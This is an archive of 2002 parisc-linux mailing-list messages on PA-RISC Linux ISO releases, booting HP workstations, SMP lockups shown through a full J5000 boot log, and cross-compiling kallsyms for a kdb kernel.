> When it will be ready, we'll consider rebuilding the ISO :o)
> 

The new ISO is now ready, with -pa26 kernel.

Duraid reported a successful boot with his rp2430 (A400-6X), but the same *warnings* than for the previous ISO are still applicable :)
Any feedback would be welcomed anyway !

You can download it from this location:
http://pateam.esiee.fr/download.html
And it should be made available shortly on ftp.parisc-linux.org. :)

Enjoy !


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a 750 to boot
Date: Sun, 26 May 2002 15:28:05 +0200
Organization: TuxFamily
Lines: 12
Approved: news@gmane.org
Message-ID: <3CF0E2E5.9080500@tuxfamily.org>
References: <20020525195423.BE4A636F9@sitemail.everyone.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621316 7541 80.91.229.3 (22 Nov 2014 01:55:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: olivas@eurisko.ws
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 07:28:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id B476A4837
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 07:28:24 -0600 (MDT)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.3/8.12.3) with ESMTP id g4QDS5iW007308;
	Sun, 26 May 2002 15:28:21 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020314
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14842

Hi all,

	I have a 750 in my lab. You can find some pictures there: 
http://hppa.tuxfamily.org/gal/index-750.html

I successfully install this box with 0.9.3 ISO. If you have any 
questions related to this box, mail me.

Thomas.




From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 26 May 2002 13:23:00 -0700 (PDT)
Lines: 293
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205261307520.1491-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0205260013010.1491-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621316 7543 80.91.229.3 (22 Nov 2014 01:55:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 14:23:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id D21144838
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 14:23:01 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 4F3527BC47
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 13:23:00 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0205260013010.1491-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14843

On Sun, 26 May 2002, Jeremy Drake wrote:
> On Sun, 26 May 2002, Grant Grundler wrote:
> 
> > Robert Stanford wrote:
> > > Regarding the below post, have the SMP issues been worked out on 2.4.18
> > > yet? Im running 2.4.18-25 and the machine seems to lock whenever I try
> > > to use apt with an smp kernel.
> In my playing w/ a J5000, the SMP kernel locks up when loading samba.  

2.4.18-pa26 does it too. Here's the bootup sequence.  I put in the whole
thing in case anyone is interested.  If not, just skip to the bottom :)  
Next time I'll just include relevant pieces.  

What is causing that error, and why does it only happen on SMP?

Now I have to find some time to go and power-cycle that box before I can
do any more testing. :(




Firmware Version 5.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           46678016 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         GRAPHICS(7)
  Keyboard path:        USB

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo pri
Interact with IPL (Y, N, Q)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002
Bad DOS magic in extended partition

Partition Start(MB) End(MB) Id Type
1               1      15   f0 Palo
2              16      78   83 ext2
4              79   34514   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3366227 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sda4
 2: HOME=/
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF32 executable
Entry 00100298 first 00100000 n 5
Segment 0 load 00100000 size 2322260 mediaptr 0x1000
Segment 1 load 00338000 size 840924 mediaptr 0x238000
Segment 2 load 00408000 size 8192 mediaptr 0x306000
Segment 3 load 00410000 size 32768 mediaptr 0x308000
Segment 4 load 00446258 size 102480 mediaptr 0x310258
Branching to kernel entry point 0x00100298.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.18-pa26 (root@krakatoa) (gcc version 3.0.4) #1 SMP Sun May 26 00:35:59 PDT 2002
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005bd0 00000491 00000000 00000002 776c6453 100000f0 00000008 000000b2 000000b2
vers  00000201
CPUID vers 17 rev 5 (0x00000225)
capabilities 0x3
model 9000/785/J5000
Total Memory: 512 Mb
pagetable_init
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at f05d0008,f05d0000 registered
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 878.18 BogoMIPS
Memory: 507900k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa
6. Forte W 2-way (0) at 0xfffa0000 [32], versions 0x5bd, 0x0, 0x4
7. Forte W 2-way (0) at 0xfffa2000 [34], versions 0x5bd, 0x0, 0x4
8. Memory (1) at 0xfed10200 [49], versions 0x88, 0x0, 0x9
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR2.1 (0x2) found at 0xfed30000
lba version TR2.1 (0x2) found at 0xfed32000
lba version TR2.1 (0x2) found at 0xfed38000
lba version TR2.1 (0x2) found at 0xfed3c000
POSIX conformance testing by UNIFIX
FP[1] enabled: Rev 1 Model 16
SMP: Total 2 of 2 processors activated (1756.36 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x2)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0400804.
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Starting kswapd
Journalled Block Device driver loaded
STI GSC/PCI graphics driver version 0.9
STI PCI graphic ROM found at f7000000 (128 kB), fb at fb000000 (16 MB)
STI word mode ROM at f7000044, hpa at fb000000
STI id 35acda16-9a02587, conforms to spec rev. 8.0c
STI device: HPA4982A
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at port 0x03f8 (irq = 99) is a 16550A
ttyS01 at port 0x02f8 (irq = 100) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
NS87415: IDE controller on PCI bus 00 dev 70
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
hda: SONY CD-ROM CDU4821, ATAPI CD/DVD-ROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
hda: ATAPI 48X CD-ROM drive, 128kB Cache
Uniform CD-ROM driver Revision: 3.12
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:35:0D:63, IRQ 66.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected 
sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 65
sym53c896-0: ID 7, Fast-20, Parity Checking
sym53c896-0: handling phase mismatch from SCRIPTS.
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 65
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST336752LC        Rev: 0002
  Type:   Direct-Access                      ANSI SCSI revision: 03
Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
SCSI device sda: 71687369 512-byte hdwr sectors (36704 MB)
Partition check:
 sda: sda1 sda2 sda3 < sda5 > sda4
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  1060.000 MB/sec
   8regs_prefetch:  1060.000 MB/sec
   32regs    :   752.800 MB/sec
   32regs_prefetch:   752.800 MB/sec
raid5: using function: 8regs_prefetch (1060.000 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 24Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 389k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 497972k swap-space (priority -1)
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sda4: clean, 68142/4415040 files, 1437754/8815668 blocks
System time was Sun May 26 20:04:48 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Sun May 26 20:04:50 UTC 2002.
Calculating module dependencies... done.
Loading modules: 
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda2: clean, 26/16064 files, 19944/64260 blocks
Setting kernel variables.
Loading the saved-state of the serial devices... 
/dev/ttyS0 at 0x03f8 (irq = 99) is a 16550A
/dev/ttyS1 at 0x02f8 (irq = 100) is a 16550A
Mounting local filesystems...
/dev/sda2 on /boot type ext2 (rw)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.
Starting portmap daemon: portmap.
Starting portmapper... Mounting remote filesystems...

Setting the System Clock using the Hardware Clock as reference...
eth0: Setting full-duplex based on MII#1 link partner capability of 41e1.
System Clock set. Local time: Sun May 26 13:04:57 PDT 2002

Running ntpdate to synchronize clock.
Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting NFS common utilities: statd.
Starting mouse interface server: gpm.
Starting internet superserver: inetd.
Starting printer spooler: lpd.
Not starting NFS kernel daemon: No exports.
Starting mail transport agent: Postfix.
Starting Samba daemons: nmbd smbdsmbd(276): unaligned access to 0x4001a2b8 at ip=0x4012ea1f


-- 
He who is known as an early riser need not get up until noon.




From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stacy Olivas <olivas@eurisko.ws>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting a 750 to boot
Date: Sun, 26 May 2002 14:43:47 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20020526214347.2B0C32756@sitemail.everyone.net>
Reply-To: olivas@eurisko.ws
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621316 7548 80.91.229.3 (22 Nov 2014 01:55:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@tuxfamily.org>, olivas@eurisko.ws
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 15:43:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from omta02.mta.everyone.net (sitemail3.everyone.net [216.200.145.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEF524839
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 15:43:58 -0600 (MDT)
Original-Received: from sitemail.everyone.net (dsnat [216.200.145.62])
	by omta02.mta.everyone.net (Postfix) with ESMTP
	id 8BA531C3774; Sun, 26 May 2002 14:43:47 -0700 (PDT)
Original-Received: by sitemail.everyone.net (Postfix, from userid 99)
	id 2B0C32756; Sun, 26 May 2002 14:43:47 -0700 (PDT)
Content-Disposition: inline
X-Mailer: MIME-tools 5.41 (Entity 5.404)
X-Originating-Ip: [213.0.241.72]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14844

I'm going to play with it a bit tomorrow and try the Network rboot method to load it (if that doesn't work, I might try the other suggestion of pre-loading the HD on another machine and popping it back into the 750)..

If I need any help I'll let you know..

Thanks for the offer and thanks to everyone who gave me tips on how to get the thing up and running.  I'd like to see what I can do with it. :)

-Stacy

--- Thomas Marteau <marteaut@tuxfamily.org> wrote:
>Hi all,
>
>	I have a 750 in my lab. You can find some pictures there: 
>http://hppa.tuxfamily.org/gal/index-750.html
>
>I successfully install this box with 0.9.3 ISO. If you have any 
>questions related to this box, mail me.
>
>Thomas.



From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 26 May 2002 20:04:53 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020527020453.99EBC483A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205261307520.1491-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621316 7550 80.91.229.3 (22 Nov 2014 01:55:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 20:04:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 99EBC483A; Sun, 26 May 2002 20:04:53 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sun, 26 May 2002 13:23:00 PDT." <Pine.LNX.4.44.0205261307520.1491-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14845

Jeremy Drake wrote:
> 2.4.18-pa26 does it too. Here's the bootup sequence.  I put in the whole
> thing in case anyone is interested.  If not, just skip to the bottom :)  
> Next time I'll just include relevant pieces.  

It was ok to post the whole thing.
Did the machine "hang"?  Can you provide "TOC" output?
(push TOC button on the back and then at PDC prompt "ser pim toc")

...
> Starting Samba daemons: nmbd smbdsmbd(276): unaligned access to 0x4001a2b8 at
>    ip=0x4012ea1f

The "unaligned access" just tells us the app is touching data that
isn't aligned. That shouldn't cause a crash. Or at least if it does,
then it should crash the same way on a UP machine.

I don't know a damn thing about samba. Is it multi-threaded or
anything special? Send out broadcast packets maybe?

thanks,
grant



From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Mon, 27 May 2002 00:13:21 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <20020527001321.A6629@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621317 7551 80.91.229.3 (22 Nov 2014 01:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 26 22:13:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB5AB483B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 May 2002 22:13:11 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4R4DL923591
	for parisc-linux@lists.parisc-linux.org; Mon, 27 May 2002 00:13:21 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14846

Parisc,

All the changes from -pa24 to -p26 have been merged into the
kdb-v21 tree (that Randolph graciously started!). Thanks go
to bame's recipe!

A few tests show that it is equivalent to the patches I had 
produced (fixes to traps.c for the soft power button).

If kdb is your bag, then it should all be set to go!

---

On another note... until I get a really fast PA box, I'm going
to be cross-compiling all the time. There are issues cross-compiling 
a kdb'd kernel, and the problem is called 'kallsyms'.

After a bout of idiocy and help from Jess I had a cross version
of kallsyms (never forget to 'unset CC'). 

It seemed like I was home free, except that I ran into the same
problem as before (even with the supposed _new_ cross kallsyms).

.tmp_vmlinux1: ELF file .tmp_vmlinux1 not for this architecture

I check ./src/modutils/obj/obj_load.c and find:

  if (f->header.e_ident[EI_CLASS] != ELFCLASSM
      || f->header.e_ident[EI_DATA] != ELFDATAM
      || f->header.e_ident[EI_VERSION] != EV_CURRENT
      || !MATCH_MACHINE(f->header.e_machine))
    {
       error("ELF file %s not for this architecture", filename);
       return NULL;
    }

So I breakup the values and test individually...

.tmp_vmlinux1: ELF file .tmp_vmlinux1 not for this architecture (!MATCH_MACHINE)

The MATCH_MACHINE macro is pretty dumb.
#define MATCH_MACHINE(x)  (x == EM_PARISC)

printf what e_machine header is set to:

ELF e_machine header is 3840
.tmp_vmlinux1: ELF file .tmp_vmlinux1 not for this architecture (!MATCH_MACHINE)

I'm not sure I've _ever_ seen a EM_??? value that big (EM_PARISC=15).
A closer inspection reveals that 3840 is 15 but byte swapped.

Which leaves me wondering... what else is going to be bytesex broke in
a cross modutils?

Is anyone familiar with modutils?
What would be a good way to include some cross-kallsyms support?

c.



From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 26 May 2002 23:17:33 -0700 (PDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205262159110.11012-100000@garibaldi.apptechsys.com>
References: <20020527020453.99EBC483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621317 7555 80.91.229.3 (22 Nov 2014 01:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 00:17:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4757482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 00:17:34 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 322E77BC46; Sun, 26 May 2002 23:17:33 -0700 (PDT)
In-Reply-To: <20020527020453.99EBC483A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
